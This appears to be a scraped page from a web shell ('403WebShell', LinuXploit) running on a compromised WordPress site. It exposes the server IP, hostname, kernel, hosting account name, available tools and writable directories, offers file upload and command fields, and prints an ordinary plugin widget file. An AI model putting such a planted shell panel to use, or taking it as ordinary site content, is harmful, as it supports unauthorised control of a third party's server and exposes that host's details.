Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.216.156.226
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/charite-core/inc/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/charite-core/inc/widgets/achievement.php
<?php
// Control core classes for avoid errors
if (class_exists('CSF')) {

  //
  // Recent widget
  //
  CSF::createWidget('charite_achievement_widget', array(
    'title'       => esc_html__('Charite Achievement Widget', 'charite-core'),
    'classname'   => 'widget widget_catagory',
    'description' => esc_html__('Add Achievement Widget', 'charite-core'),
    'fields'      => array(
      array(
        'id'      => 'title', //title
        'type'    => 'text',
        'title'   => esc_html__('Title', 'charite-core'),
        'default' => esc_html__('Achievement', 'charite-core')
      ),
      array(
        'id'         => 'achievement',
        'type'       => 'repeater',
        'title'      => esc_html__('Achievement Items', 'charite-core'),
        'fields'     => array(
          array(
            'id'    => 'title',
            'type'  => 'text',
            'title' => esc_html__('Title', 'charite-core'),
            'default' => esc_html__('January 2021', 'charite-core')
          ),
          array(
            'id'    => 'url',
            'type'  => 'text',
            'title' => esc_html__('Url', 'charite-core'),
            'default' => '#'
          ),

        ),
      ),
    )
  ));

  //
  // Front-end display of widget example 1
  // Attention: This function named considering above widget base id.
  //
  if (!function_exists('charite_achievement_widget')) {
    function charite_achievement_widget($args, $instance)
    {

      echo $args['before_widget'];

      if (!empty($instance['title'])) {
        echo $args['before_title'] . apply_filters('widget_title', $instance['title']) . $args['after_title'];
      }
?>
      <ul class="catagory-items">
        <?php foreach ($instance['achievement']  as $item) : ?>
          <li><a href="<?php esc_url($item['url']); ?>"><?php echo esc_html($item['title']); ?></a></li>
        <?php endforeach; ?>
      </ul>
<?php
      echo $args['after_widget'];
    }
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit